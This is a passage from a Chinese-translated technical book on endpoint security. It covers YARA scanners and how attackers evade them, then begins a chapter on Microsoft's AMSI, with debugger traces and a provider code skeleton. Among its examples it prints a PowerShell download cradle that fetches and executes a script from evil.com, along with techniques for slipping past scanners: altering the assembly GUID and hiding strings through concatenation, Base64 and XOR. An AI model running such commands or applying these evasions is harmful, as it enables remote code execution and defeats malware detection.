条件可以在扫描文件时与规则中定义的字符串一起工作。例如,SafetyKatz 规则确保文件中存在 TypeLib GUID。但是,条件也可以在不使用字符串的情况下工作。SafetyKatz 规则中的前两个条件检查文件开始处的两个字节值 0x4D5A(Windows 可执行文件的 MZ 头)和偏移位置 0x3C 处的四字节值 0x00004550(PE 签名)。条件也可以使用特殊的保留变量。例如,以下条件使用了 filesize 特殊变量:filesize < 30KB。当文件总大小小于 30KB 时,它会返回 true。
条件可以支持更复杂的逻辑,加入更多的操作符。例如,of 操作符。请参考 列表 9-2 中的示例。
rule Example
{
strings:
$x = "Hello"
$y = "world"
condition:
any of them
}
列表 9-2:使用 YARA 的 of 操作符
如果扫描的文件中找到 "Hello" 字符串或 "world" 字符串,则此规则返回 true。还有其他操作符,例如 all of,表示必须包含所有字符串;N of,表示必须包含字符串的某些子集;以及 for…of 迭代器,用于表示仅某些字符串的出现应满足规则的条件。
逆向工程规则
在生产环境中,您通常会发现数百甚至数千条规则分析与恶意软件签名相关的文件。仅 Defender 中就有超过 200,000 个签名,如 列表 9-3 所示。
PS > **$signatures = (Get-MpThreatCatalog).ThreatName**
PS > **$signatures | Measure-Object -Line | select Lines**
Lines
-----
222975
PS > **$signatures | Group {$_.Split(**'**:**'**)[0]} |**
**>> Sort Count -Descending |**
**>> select Count,Name -First 10**
Count Name
----- ----
57265 Trojan
28101 TrojanDownloader
27546 Virus
19720 Backdoor
17323 Worm
11768 Behavior
9903 VirTool
9448 PWS
8611 Exploit
8252 TrojanSpy
列表 9-3:在 Defender 中列举签名
第一个命令提取 威胁名称,即识别特定或紧密相关的恶意软件(例如,VirTool:MSIL/BytzChk.C!MTB)的方法,来自 Defender 的签名目录。第二个命令随后解析每个威胁名称的顶层类别(例如,VirTool),并返回属于这些顶层类别的所有签名的数量。
然而,对用户而言,大多数这些规则都是不透明的。通常,唯一能弄清楚为什么一个样本被标记为恶意而另一个被认为是良性的方式就是手动测试。DefenderCheck 工具有助于自动化这个过程。图 9-4 展示了这个工具在幕后工作的一个构造示例。

图 9-4:DefenderCheck 的二分查找
DefenderCheck 将文件分成两半,然后扫描每一半以确定哪一部分包含扫描器认为是恶意的内容。它会递归地重复这个过程,直到找出规则中心的具体字节,形成一个简单的二分查找树。
规避扫描器签名
当试图规避像 YARA 这样的基于文件的扫描器时,攻击者通常会尝试制造假阴性。简而言之,如果他们能弄清楚扫描器用来检测某个相关文件的规则(或者至少做出一个满意的猜测),他们就可以修改该属性来规避规则。规则越脆弱,越容易被规避。在清单 9-4 中,我们使用 dnSpy,一个用于反编译和修改.NET 程序集的工具,修改编译后的 SafetyKatz 程序集中的 GUID,以便规避本章早些时候展示的脆弱 YARA 规则。
using System;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Permissions;
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)] [assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("SafetyKatz")]
[assembly: AssemblyDescription(" ")]
[assembly: AssemblyConfiguration(" ")]
[assembly: AssemblyCompany(" ")]
[assembly: AssemblyProduct("SafetyKatz")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark(" ")]
[assembly: ComVisible(false)]
[assembly: Guid("01234567-d3ad-b33f-0000-0123456789ac")] ❶
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
[module: UnverifiableCode]
清单 9-4:使用 dnSpy 修改程序集中的 GUID
如果检测规则仅仅是基于 SafetyKatz 默认程序集 GUID 的存在,那么这里对 GUID 所做的修改❶将完全规避该规则。
这种简单的规避手段突显了基于样本不可变属性(或者至少是那些更难修改的属性)构建检测规则的重要性,以弥补更脆弱规则的不足。这并不是要否定这些脆弱规则的价值,因为它们可以检测到现成的 Mimikatz,一个极少用于合法目的的工具。然而,增加一个更稳健的伴随规则(其假阳性率较高,假阴性率较低)可以增强扫描器检测已被修改以规避现有规则的样本的能力。清单 9-5 展示了一个使用 SafetyKatz 的示例。
rule SafetyKatz_InternalFuncs_B64MimiKatz
{
meta:
description = "Detects the public version of the SafetyKatz
tool based on core P/Invokes and its embedded
base64-encoded copy of Mimikatz"
reference = "https://github.com/GhostPack/SafetyKatz"
author = "Matt Hand"
strings:
$mdwd = "MiniDumpWriteDump" ascii nocase wide
$ll = "LoadLibrary" ascii nocase wide
$gpa = "GetProcAddress" ascii nocase wide
$b64_mimi = "zL17fBNV+jg8aVJIoWUCNFC1apCoXUE" ascii wide
condition:
($mdwd and $ll and $gpa) or $b64_mimi
}
清单 9-5:基于内部函数名称和 Base64 子字符串的 YARA 规则,用于检测 SafetyKatz
你可以通过命令行将此规则传递给 YARA,扫描 SafetyKatz 的基础版本,如清单 9-6 所示。
PS > **.\yara64.exe -w -s .\safetykatz.rules C:\Temp\SafetyKatz.exe**
**>> SafetyKatz_InternalFuncs_B64MimiKatz C:\Temp\SafetyKatz.exe**
0x213b:$mdwd: ❶ MiniDumpWriteDump
0x256a:$ll: LoadLibrary
0x2459:$gpa: GetProcAddress
0x25cd:$b64_mimi: ❷
z\x00L\x001\x007\x00f\x00B\x00N\x00V\x00+\x00j\x00g\x008\x00a\x00V\x00J\x00I\x00o
\x00W\x00U\x00C\x00N\x00F\x00C\x001\x00a\x00p\x00C\x00o\x00X\x00U\x00E\x00
清单 9-6:使用新的 YARA 规则检测 SafetyKatz
在 YARA 输出中,我们可以看到扫描器检测到可疑的函数❶和 Base64 子字符串❷。
但即使这一规则也不是对规避的万全之策。攻击者可能进一步修改我们构建检测的属性,例如通过从 P/Invoke(.NET 中调用非托管代码的本地方式)切换到 D/Invoke,D/Invoke 是 P/Invoke 的一种替代方式,执行相同的功能,避免 EDR 可能正在监控的可疑 P/Invoke 调用。他们还可以使用系统调用委托,或者修改 Mimikatz 的嵌入式副本,使其编码表示的前 32 个字节与规则中的不同。
还有一种避免被扫描器检测到的方法。在现代红队演练中,大多数对手避免写入磁盘(写文件到文件系统)。如果他们能够完全在内存中操作,基于文件的扫描器就不再构成问题。例如,考虑 Rubeus 中的/ticket:base64命令行选项,Rubeus 是一个用于与 Kerberos 交互的工具。通过使用这个标志,攻击者可以防止 Kerberos 票据被写入目标的文件系统,而是通过控制台输出返回。
在某些情况下,攻击者无法避免将文件写入磁盘,例如在 SafetyKatz 使用dbghelp!MiniDumpWriteDump()时,该函数要求将内存转储写入文件。在这些情况下,攻击者必须限制文件的暴露。这通常意味着立即获取文件的副本并将其从目标中删除,模糊文件名和路径,或以某种方式保护文件内容。
虽然扫描器可能不如其他传感器复杂,但它们在检测宿主上的恶意内容方面发挥着重要作用。本章仅涵盖基于文件的扫描器,但商业项目通常会使用其他类型的扫描器,包括基于网络的和内存扫描器。在企业规模上,扫描器还可以提供有趣的指标,例如文件是否在全球范围内唯一。它们对对手构成特别的挑战,并且在规避方面具有重要代表性。你可以把它们看作是对手工具通过的黑箱;对手的任务是修改其控制范围内的属性,即恶意软件的元素,使其能够顺利通过。
结论
扫描器,特别是与杀毒引擎相关的扫描器,是我们许多人最先接触到的防御技术之一。虽然由于规则集的脆弱性,它们曾一度失宠,但最近它们作为辅助功能重新流行,采用(有时)比其他传感器如微滤器和映像加载回调例程更强健的规则。然而,规避扫描器更多的是一种模糊化的练习,而非避免。通过更改指标,即使是简单的东西,如静态字符串,对手通常也能避开大多数现代扫描引擎的雷达。
第十章:10 恶意软件扫描接口

随着安全厂商开始构建有效的工具来检测编译恶意软件的部署和执行,攻击者开始寻找其他方法来执行他们的代码。他们发现的一种战术是创建基于脚本的或无文件恶意软件,这依赖于操作系统内置工具的使用,以执行能够让攻击者控制系统的代码。
为了帮助保护用户免受这些新型威胁,微软在发布 Windows 10 时引入了恶意软件扫描接口(AMSI)。AMSI 提供了一个接口,允许应用程序开发者在确定其处理的数据是否恶意时,利用系统上注册的恶意软件防护提供商。
AMSI 是当今操作环境中无处不在的安全特性。微软已经为我们这些攻击者经常针对的许多脚本引擎、框架和应用程序进行了相应的配置。几乎所有的 EDR 厂商都会采集 AMSI 的事件,有些甚至会尝试检测那些篡改注册提供商的攻击。本章将介绍 AMSI 的历史、它在不同 Windows 组件中的实现以及 AMSI 绕过技术的多样性。
基于脚本的恶意软件挑战
脚本语言相比编译语言具有许多优势。它们需要更少的开发时间和开销,可以绕过应用程序白名单,能够在内存中执行,并且具有良好的可移植性。它们还提供了使用如 .NET 等框架特性的能力,并且通常可以直接访问 Win32 API,从而大大扩展了脚本语言的功能。
尽管在 AMSI 创建之前就有基于脚本的恶意软件存在,但 2015 年发布的 Empire(一个围绕 PowerShell 构建的命令与控制框架)使其在进攻领域成为主流。由于其易用性、与 Windows 7 及以上版本的默认集成以及大量现有文档,PowerShell 成为了许多人的进攻工具开发事实标准语言。
脚本式恶意软件的兴起造成了一个巨大的防御漏洞。之前的工具依赖于恶意软件会被写入磁盘并执行的事实。当面对运行在系统中由 Microsoft 签名并默认安装的可执行文件时,它们显得无能为力,这类恶意软件通常被称为living-off-the-land,例如 PowerShell。即便是那些试图检测恶意脚本调用的代理,也难以应对,因为攻击者可以轻松地调整其负载和工具,以避开供应商采用的检测技术。Microsoft 在其博客中明确指出了这一问题,并在宣布 AMSI 时给出了以下示例。假设一个防御产品搜索脚本中的字符串“malware”以判断其是否恶意。它会检测到以下代码:
PS > **Write-Host "malware";**
一旦恶意软件作者意识到这种检测逻辑,他们就可以通过像字符串拼接这样简单的方式绕过检测机制:
PS > **Write-Host "mal" + "ware";**
为了应对这一问题,开发人员通常会尝试进行某种基本类型的语言仿真。例如,他们可能会在扫描脚本块内容之前将字符串拼接起来。不幸的是,这种方法容易出错,因为不同的语言常常有多种方式来表示数据,而对它们进行仿真非常困难。然而,反恶意软件开发人员在这一技术上确实取得了一定的成功。因此,恶意软件开发者通过编码等技术略微提高了混淆的复杂度。Listing 10-1 中的示例展示了在 PowerShell 中使用 Base64 编码的字符串“malware”。
PS > **$str = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(**
**>> "bWFsd2FyZQ=="));**
PS > **Write-Host $str;**
Listing 10-1: 在 PowerShell 中解码 Base64 字符串
代理再次利用语言仿真解码脚本中的数据,并扫描其是否包含恶意内容。为了应对这一成功,恶意软件开发者将策略从简单的编码转向了加密和算法编码,例如使用异或(XOR)。例如,Listing 10-2 中的代码首先解码 Base64 编码的数据,然后使用两个字节的密钥gg对解码后的字节进行 XOR 运算。
$key = "gg"
$data = "CgYLEAYVAg=="
$bytes = [System.Convert]::FromBase64String($data);
$decodedBytes = @();
for ($i = 0; $i -lt $bytes.Count; $i++) {
$decodedBytes += $bytes[$i] -bxor $key[$i % $key.Length];
}
$payload = [system.Text.Encoding]::UTF8.getString($decodedBytes);
Write-Host $payload;
Listing 10-2: PowerShell 中的 XOR 示例
这种加密趋势超出了反恶意软件引擎能够合理仿真的范围,因此基于混淆技术本身存在的检测变得普遍。这也带来了自身的挑战,因为正常的、无害的脚本有时也会使用看似混淆的技术。Microsoft 在其帖子中提出的示例,成为了在内存中执行 PowerShell 代码的标准之一,即 Listing 10-3 中的下载框架。
PS > **Invoke-Expression (New-Object Net.Webclient).**
**>> downloadstring("****https://evil.com/payloadl.ps1")**
Listing 10-3: 一个简单的 PowerShell 下载框架
在这个示例中,.NET 的 Net.Webclient 类用于从任意站点下载 PowerShell 脚本。当这个脚本被下载时,它不会写入磁盘,而是作为字符串存在于内存中,与 Webclient 对象绑定。接着,攻击者使用 Invoke-Expression cmdlet 将这个字符串作为 PowerShell 命令执行。这种技术使得载荷的任何操作(例如部署新的命令与控制代理)完全在内存中发生。
AMSI 的工作原理
AMSI 扫描一个目标,然后使用系统上注册的反恶意软件提供程序来确定它是否是恶意的。默认情况下,它使用反恶意软件提供程序 Microsoft Defender IOfficeAntivirus(MpOav.dll),但第三方 EDR 供应商也可以注册他们自己的提供程序。Duane Michael 在他的 GitHub 项目“whoamsi”中维护了一个注册 AMSI 提供程序的安全供应商列表。
AMSI 最常见的应用场景是由包含脚本引擎的应用程序使用(例如,接受任意脚本并使用相关引擎执行它们的应用程序),处理内存中不可信的缓冲区,或与非 PE 可执行代码(如 .docx 和 .pdf 文件)交互。AMSI 已集成到许多 Windows 组件中,包括现代版本的 PowerShell、.NET、JavaScript、VBScript、Windows 脚本宿主、Office VBA 宏和用户帐户控制(UAC)。它还集成到 Microsoft Exchange 中。
探索 PowerShell 的 AMSI 实现
由于 PowerShell 是开源的,我们可以检查其 AMSI 实现,以了解 Windows 组件如何使用这个工具。在本节中,我们将探讨 AMSI 如何尝试限制应用程序执行恶意脚本。
在 System.Management.Automation.dll 中,这个 DLL 提供了托管 PowerShell 代码的运行时环境,其中存在一个非导出的函数 PerformSecurityChecks(),负责扫描提供的脚本块并确定它是否是恶意的。这个函数由 PowerShell 创建的命令处理器在编译前的执行管道中调用。示例 10-4 中的调用栈,在 dnSpy 中捕获,展示了脚本块在被扫描之前的执行路径。
System.Management.Automation.dll!CompiledScriptBlockData.PerformSecurityChecks()
System.Management.Automation.dll!CompiledScriptBlockData.ReallyCompile(bool optimize)
System.Management.Automation.dll!CompiledScriptBlockData.CompileUnoptimized()
System.Management.Automation.dll!CompiledScriptBlockData.Compile(bool optimized)
System.Management.Automation.dll!ScriptBlock.Compile(bool optimized)
System.Management.Automation.dll!DlrScriptCommandProcessor.Init()
System.Management.Automation.dll!DlrScriptCommandProcessor.DlrScriptCommandProcessor(Script
Block scriptBlock, ExecutionContext context, bool useNewScope, CommandOrigin origin,
SessionStateInternal sessionState, object dollarUnderbar)
System.Management.Automation.dll!Runspaces.Command.CreateCommandProcessor(ExecutionContext
executionContext, bool addToHistory, CommandOrigin origin)
System.Management.Automation.dll!Runspaces.LocalPipeline.CreatePipelineProcessor()
System.Management.Automation.dll!Runspaces.LocalPipeline.InvokeHelper()
System.Management.Automation.dll!Runspaces.LocalPipeline.InvokeThreadProc()
System.Management.Automation.dll!Runspaces.LocalPipeline.InvokeThreadProcImpersonate()
System.Management.Automation.dll!Runspaces.PipelineThread.WorkerProc()
System.Private.CoreLib.dll!System.Threading.Thread.StartHelper.RunWorker()
System.Private.CoreLib.dll!System.Threading.Thread.StartHelper.Callback(object state)
System.Private.CoreLib.dll!System.Threading.ExecutionContext.RunInternal(`--snip--`) System.Private.CoreLib.dll!System.Threading.Thread.StartHelper.Run()
System.Private.CoreLib.dll!System.Threading.Thread.StartCallback()
[Native to Managed Transition]
示例 10-4:扫描 PowerShell 脚本块时的调用栈
此函数调用一个内部工具 AmsiUtils.ScanContent(),将要扫描的脚本块或文件传递给它。这个工具是另一个内部函数 AmsiUtils.WinScanContent() 的简单包装器,所有的实际工作都在这个函数中进行。
在检查脚本块是否包含欧洲计算机防病毒研究所(EICAR)测试字符串后,所有防病毒软件必须检测该字符串,WinScanContent 的第一个操作是通过调用 amsi!AmsiOpenSession() 创建一个新的 AMSI 会话。AMSI 会话用于关联多个扫描请求。接下来,WinScanContent() 调用 amsi!AmsiScanBuffer(),这是 Win32 API 函数,会调用系统上注册的 AMSI 提供程序,并返回最终关于脚本块恶意性的判定。列表 10-5 展示了 PowerShell 中的这一实现,去除了不相关的部分。
lock (s_amsiLockObject)
{
`--snip--`
if (s_amsiSession == IntPtr.Zero)
{
❶ hr = AmsiNativeMethods.AmsiOpenSession(
s_amsiContext,
ref s_amsiSession
);
AmsiInitialized = true;
if (!Utils.Succeeded(hr))
{
s_amsiInitFailed = true;
return AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
}
`--snip--`
AmsiNativeMethods.AMSI_RESULT result =
AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_CLEAN;
unsafe
{
fixed (char* buffer = content)
{
var buffPtr = new IntPtr(buffer);
❷ hr = AmsiNativeMethods.AmsiScanBuffer(
s_amsiContext,
buffPtr, (uint)(content.Length * sizeof(char)),
sourceMetadata,
s_amsiSession,
ref result);
}
}
if (!Utils.Succeeded(hr))
{
return AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
return result;
}
列表 10-5:PowerShell 的 AMSI 实现
在 PowerShell 中,代码首先调用 amsi!AmsiOpenSession() ❶ 来创建一个新的 AMSI 会话,扫描请求可以在该会话中进行关联。如果会话成功打开,要扫描的数据会传递给 amsi!AmsiScanBuffer() ❷,该函数会实际评估数据,以确定缓冲区的内容是否看起来具有恶意。此调用的结果会返回给 WinScanContent()。
WinScanContent() 函数可以返回三个值中的一个:
AMSI_RESULT_NOT_DETECTED 中性结果
AMSI_RESULT_CLEAN 表示脚本块不包含恶意软件的结果
AMSI_RESULT_DETECTED 表示脚本块包含恶意软件的结果
如果返回前两个结果中的任何一个,表示 AMSI 无法确定脚本块是否具有恶意,或者认为它不危险,则该脚本块将被允许在系统上执行。然而,如果返回 AMSI_RESULT_DETECTED 结果,将抛出一个 ParseException,并会停止脚本块的执行。列表 10-6 展示了如何在 PowerShell 中实现此逻辑。
if (amsiResult == AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED)
{
var parseError = new ParseError(
scriptExtent,
"ScriptContainedMaliciousContent",
ParserStrings.ScriptContainedMaliciousContent);
❶ throw new ParseException(new[] {parseError});
}
列表 10-6:在检测到恶意脚本时抛出 ParseError
由于 AMSI 抛出了一个异常 ❶,脚本的执行被停止,并且在 ParseError 中显示的错误将返回给用户。列表 10-7 展示了用户在 PowerShell 窗口中看到的错误。
PS > **Write-Host "malware"**
ParserError:
Line |
1 | Write-Host "malware"
| ~~~~~~~~~~~~~~~~~~~~
| This script contains malicious content and has been blocked by your
| antivirus software.
列表 10-7:显示给用户的错误
深入了解 AMSI
虽然了解 AMSI 在系统组件中的应用有助于理解用户输入是如何被评估的,但它并没有完全讲述整个故事。当 PowerShell 调用 amsi!AmsiScanBuffer() 时会发生什么?要理解这一点,我们必须深入研究 AMSI 实现本身。由于目前 C++ 反编译器的状态使得静态分析有点棘手,我们需要使用一些动态分析技术。幸运的是,WinDbg 使这个过程相对轻松,特别是考虑到 amsi.dll 的调试符号是可用的。
当 PowerShell 启动时,它首先调用 amsi!AmsiInitialize()。顾名思义,这个函数负责初始化 AMSI API。此初始化主要集中在通过调用 DllGetClassObject() 创建 COM 类工厂。作为参数,它接收与 amsi.dll 相关的类标识符,以及为 IClassFactory 标识的接口,后者允许创建对象类。接口指针随后用于创建 IAntimalware 接口的实例({82d29c2e-f062-44e6-b5c9-3d9a2f24a2df}),如 示例 10-8 所示。
Breakpoint 4 hit
amsi!AmsiInitialize+0x1a9:
00007ff9`5ea733e9 ff15899d0000 call qword ptr [amsi!_guard_dispatch_icall_fptr] `--snip--`
0:011> **dt OLE32!IID @r8**
{82d29c2e-f062-44e6-b5c9-3d9a2f24a2df}
+0x000 Data1 : 0x82d29c2e
+0x004 Data2 : 0xf062
+0x006 Data3 : 0x44e6
+0x008 Data4 : [8] "???"
0:011> **dt @rax**
ATL::CComClassFactory::CreateInstance
示例 10-8:创建 IAntimalware 实例
与明确调用某些函数不同,你偶尔会发现对 _guard_dispatch_icall_fptr() 的引用。这是控制流保护(CFG)的一部分,一种防止利用攻击的技术,旨在防止间接调用,例如在返回导向编程的情况下。简而言之,这个函数检查源映像的控制流保护位图,以确定要调用的函数是否是有效目标。在本节的上下文中,读者可以将这些视为简单的 CALL 指令,以减少混淆。
该调用最终会进入 amsi!AmsiComCreateProviders
0:011> **kc**
# Call Site
00 amsi!AmsiComCreateProviders<IAntimalwareProvider>
01 amsi!CamsiAntimalware::FinalConstruct
02 amsi!ATL::CcomCreator<ATL::CcomObject<CamsiAntimalware> >::CreateInstance
03 amsi!ATL::CcomClassFactory::CreateInstance
04 amsi!AmsiInitialize
`--snip--`
示例 10-9:AmsiComCreateProviders 函数的调用堆栈
第一个主要操作是调用amsi!CGuidEnum::StartEnum()。该函数接收字符串"Software\Microsoft\AMSI\Providers",并将其传递给RegOpenKey(),然后调用RegQueryInfoKeyW()以获取子键的数量。接着,amsi!CGuidEnum::NextGuid()遍历子键,并将注册的 AMSI 提供程序的类标识符从字符串转换为 UUID。枚举所有所需的类标识符后,它将执行传递给amsi!AmsiComSecureLoadInProcServer(),在那里通过RegGetValueW()查询与 AMSI 提供程序对应的InProcServer32值。Listing 10-10 展示了这一过程,针对 MpOav.dll。
0:011> **u @rip L1**
amsi!AmsiComSecureLoadInProcServer+0x18c:
00007ff9`5ea75590 48ff1589790000 call qword ptr [amsi!_imp_RegGetValueW]
0:011> **du @rdx**
00000057`2067eaa0 "Software\Classes\CLSID\{2781761E"
00000057`2067eae0 "-28E0-4109-99FE-B9D127C57AFE}\In"
00000057`2067eb20 "procServer32"
Listing 10-10: 传递给RegGetValueW的参数
接下来,调用amsi!CheckTrustLevel(),检查注册表项SOFTWARE\Microsoft\AMSI\FeatureBits的值。此键包含一个 DWORD,可以是1(默认值)或2,用于禁用或启用提供程序的 Authenticode 签名检查。如果启用了 Authenticode 签名检查,将验证在InProcServer32注册表项中列出的路径。在成功验证后,该路径将传递给LoadLibraryW()以加载 AMSI 提供程序 DLL,如 Listing 10-11 所示。
0:011> **u @rip L1**
amsi!AmsiComSecureLoadInProcServer+0x297:
00007ff9`5ea7569b 48ff15fe770000 call qword ptr [amsi!_imp_LoadLibraryExW] 0:011> **du @rcx**
00000057`2067e892 "C:\ProgramData\Microsoft\Windows"
00000057`2067e8d2 " Defender\Platform\4.18.2111.5-0"
00000057`2067e912 "\MpOav.dll"
Listing 10-11: 通过LoadLibraryW()加载 MpOav.dll
如果提供程序 DLL 加载成功,将调用其DllRegisterServer()函数,告知它为提供程序支持的所有 COM 类创建注册表项。这个循环会重复调用amsi!CGuidEnum::NextGuid(),直到所有提供程序都被加载。Listing 10-12 展示了最终步骤:调用每个提供程序的QueryInterface()方法,以获得指向IAntimalware接口的指针。
0:011> **dt OLE32!IID @rdx**
{82d29c2e-f062-44e6-b5c9-3d9a2f24a2df}
+0x000 Data1 : 0x82d29c2e
+0x004 Data2 : 0xf062
+0x006 Data3 : 0x44e6
+0x008 Data4 : [8] "???"
0:011> **u @rip L1**
amsi!ATL::CComCreator<ATL::CComObject<CAmsiAntimalware> >::CreateInstance+0x10d:
00007ff8`0b7475bd ff15b55b0000 call qword ptr [amsi!_guard_dispatch_icall_fptr]
0:011> **t**
amsi!ATL::CComObject<CAmsiAntimalware>::QueryInterface:
00007ff8`0b747a20 4d8bc8 mov r9,r8
Listing 10-12: 对已注册提供程序调用QueryInterface
在 AmsiInitialize() 返回之后,AMSI 已经准备好工作。在 PowerShell 开始评估脚本块之前,它会调用 AmsiOpenSession()。如前所述,该函数允许 AMSI 关联多个扫描。当此函数完成时,它会返回一个 HAMSISESSION 给调用者,调用者可以选择将此值传递给当前扫描会话中的所有后续 AMSI 调用。
当 PowerShell 的 AMSI 插装接收到脚本块并且 AMSI 会话已经打开时,它会调用 AmsiScanBuffer(),并将脚本块作为输入传递给该函数。该函数在列表 10-13 中进行了定义。
HRESULT AmsiScanBuffer(
[in] HAMSICONTEXT amsiContext,
[in] PVOID buffer,
[in] ULONG length,
[in] LPCWSTR contentName,
[in, optional] HAMSISESSION amsiSession,
[out] AMSI_RESULT *result
);
列表 10-13: AmsiScanBuffer() 定义
该函数的主要职责是检查传递给它的参数的有效性。这包括检查输入缓冲区的内容以及是否存在带有标签AMSI的有效 HAMSICONTEXT 句柄,正如你在列表 10-14 中的反汇编中看到的。如果这些检查中的任何一个失败,函数会向调用者返回 E_INVALIDARG (0x80070057)。
if (!buffer)
return 0x80070057;
if (!length)
return 0x80070057;
if (!result)
return 0x80070057;
if (!amsiContext)
return 0x80070057;
if (*amsiContext != 'ISMA')
return 0x80070057;
if (!*(amsiContext + 1))
return 0x80070057;
v10 = *(amsiContext + 2);
if (!v10)
return 0x80070057;
列表 10-14: 内部 AmsiScanBuffer() 合理性检查
如果这些检查通过,AMSI 会调用 amsi!CAmsiAntimalware::Scan(),正如列表 10-15 中的调用栈所示。
0:023> **kc**
# Call Site
00 amsi!CAmsiAntimalware::Scan
01 amsi!AmsiScanBuffer
02 System_Management_Automation_ni
`--snip--`
列表 10-15: 调用的 Scan() 方法
该方法包含一个 while 循环,循环遍历每个注册的 AMSI 提供程序(其数量存储在 R14 + 0x1c0)。在这个循环中,它调用 IAntimalwareProvider::Scan() 函数,EDR 供应商可以根据自己的需求来实现该函数;期望它返回一个 AMSI_RESULT,该结果在列表 10-16 中定义。
HRESULT Scan(
[in] IAmsiStream *stream,
[out] AMSI_RESULT *result
);
列表 10-16: CAmsiAntimalware::Scan() 函数定义
对于默认的 Microsoft Defender AMSI 实现,即 MpOav.dll,该函数执行一些基本初始化工作,然后将执行交给 MpClient.dll,Windows Defender 客户端接口。请注意,微软并未为 Defender 组件提供程序数据库文件,因此 MpOav.dll 在列表 10-17 中的调用栈中的函数名是错误的。
0:000> **kc**
# Call Site
00 MPCLIENT!MpAmsiScan
01 MpOav!DllRegisterServer
02 amsi!CAmsiAntimalware::Scan
03 amsi!AmsiScanBuffer
列表 10-17:从 MpOav.dll 传递到 MpClient.dll 的执行过程
AMSI 通过amsi!AmsiScanBuffer()将扫描结果返回给amsi!CAmsiAntimalware::Scan(),后者又将AMSI_RESULT返回给调用者。如果发现脚本块包含恶意内容,PowerShell 将抛出ScriptContainedMaliciousContent异常,并阻止其执行。
实现自定义 AMSI 提供程序
如前一节所述,开发人员可以根据需要实现IAntimalwareProvider::Scan()函数。例如,他们可以简单地记录要扫描内容的信息,或者将缓冲区的内容传递给训练好的机器学习模型,以评估其恶意性。为了理解所有供应商的 AMSI 提供程序的共享架构,本节将逐步介绍满足 Microsoft 定义的最低规格的简单提供程序 DLL 的设计。
本质上,AMSI 提供程序不过是COM 服务器,或者是加载到主机进程中的 DLL,它们暴露一个调用者所需的函数:在本例中是IAntimalwareProvider。此函数通过添加三个附加方法扩展了IUnknown接口:CloseSession通过其HAMSISESSION句柄关闭 AMSI 会话,DisplayName显示 AMSI 提供程序的名称,Scan扫描一个IAmsiStream内容并返回一个AMSI_RESULT。
在 C++中,重写IAntimalwareProvider方法的基本类声明可能类似于列表 10-18 中所示的代码。
class AmsiProvider :
public RuntimeClass<RuntimeClassFlags<ClassicCom>,
IAntimalwareProvider,
FtmBase>
{
public:
IFACEMETHOD(Scan)(
IAmsiStream *stream,
AMSI_RESULT *result
) override;
IFACEMETHOD_(void, CloseSession)( ULONGLONG session
) override;
IFACEMETHOD(DisplayName)(
LPWSTR *displayName
) override;
};
列表 10-18:一个示例IAntimalwareProvider类定义
我们的代码利用了 Windows Runtime C++ 模板库,减少了创建 COM 组件时所需的代码量。CloseSession() 和 DisplayName() 方法被我们自己的函数重写,用于分别关闭 AMSI 会话和返回 AMSI 提供者的名称。Scan() 函数接收要扫描的缓冲区,作为 IAmsiStream 的一部分,后者暴露了两个方法,GetAttribute() 和 Read(),并在清单 10-19 中定义。
MIDL_INTERFACE("3e47f2e5-81d4-4d3b-897f-545096770373")
IAmsiStream : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE GetAttribute(
/* [in] */ AMSI_ATTRIBUTE attribute,
/* [range][in] */ ULONG dataSize,
/* [length_is][size_is][out] */ unsigned char *data,
/* [out] */ ULONG *retData) = 0;
virtual HRESULT STDMETHODCALLTYPE Read(
/* [in] */ ULONGLONG position,
/* [range][in] */ ULONG size,
/* [length_is][size_is][out] */ unsigned char *buffer,
/* [out] */ ULONG *readSize) = 0;
};
清单 10-19:IAmsiStream 类定义
GetAttribute() 用于检索要扫描内容的元数据。开发者通过传递一个表示希望检索信息的 AMSI_ATTRIBUTE 值,以及适当大小的缓冲区来请求这些属性。AMSI_ATTRIBUTE 值是一个枚举类型,定义在清单 10-20 中。
typedef enum AMSI_ATTRIBUTE {
AMSI_ATTRIBUTE_APP_NAME = 0,
AMSI_ATTRIBUTE_CONTENT_NAME = 1,
AMSI_ATTRIBUTE_CONTENT_SIZE = 2,
AMSI_ATTRIBUTE_CONTENT_ADDRESS = 3,
AMSI_ATTRIBUTE_SESSION = 4,
AMSI_ATTRIBUTE_REDIRECT_CHAIN_SIZE = 5,
AMSI_ATTRIBUTE_REDIRECT_CHAIN_ADDRESS = 6,
AMSI_ATTRIBUTE_ALL_SIZE = 7,
AMSI_ATTRIBUTE_ALL_ADDRESS = 8,
AMSI_ATTRIBUTE_QUIET = 9 } AMSI_ATTRIBUTE;
清单 10-20:AMSI_ATTRIBUTE 枚举
虽然该枚举中有 10 个属性,但微软只记录了前五个:AMSI_ATTRIBUTE_APP_NAME 是一个包含调用应用程序的名称、版本或 GUID 的字符串;AMSI_ATTRIBUTE_CONTENT_NAME 是一个包含要扫描内容的文件名、URL、脚本 ID 或等效标识符的字符串;AMSI_ATTRIBUTE_CONTENT_SIZE 是一个 ULONGLONG 类型,表示要扫描数据的大小;AMSI_ATTRIBUTE_CONTENT_ADDRESS 是内容的内存地址(如果内容已完全加载到内存中);而 AMSI_ATTRIBUTE_SESSION 包含指向下一个要扫描的内容部分的指针,或者如果内容是自包含的,则为 NULL。
作为示例,清单 10-21 展示了 AMIS 提供者如何使用该属性来检索应用程序名称。
HRESULT AmsiProvider::Scan(IAmsiStream* stream, AMSI_RESULT* result)
{
HRESULT hr = E_FAIL;
ULONG ulBufferSize = 0;
ULONG ulAttributeSize = 0;
PBYTE pszAppName = nullptr;
hr = stream->GetAttribute(
AMSI_ATTRIBUTE_APP_NAME,
0,
nullptr,
&ulBufferSize
);
if (hr != E_NOT_SUFFICIENT_BUFFER)
{
return hr;
}
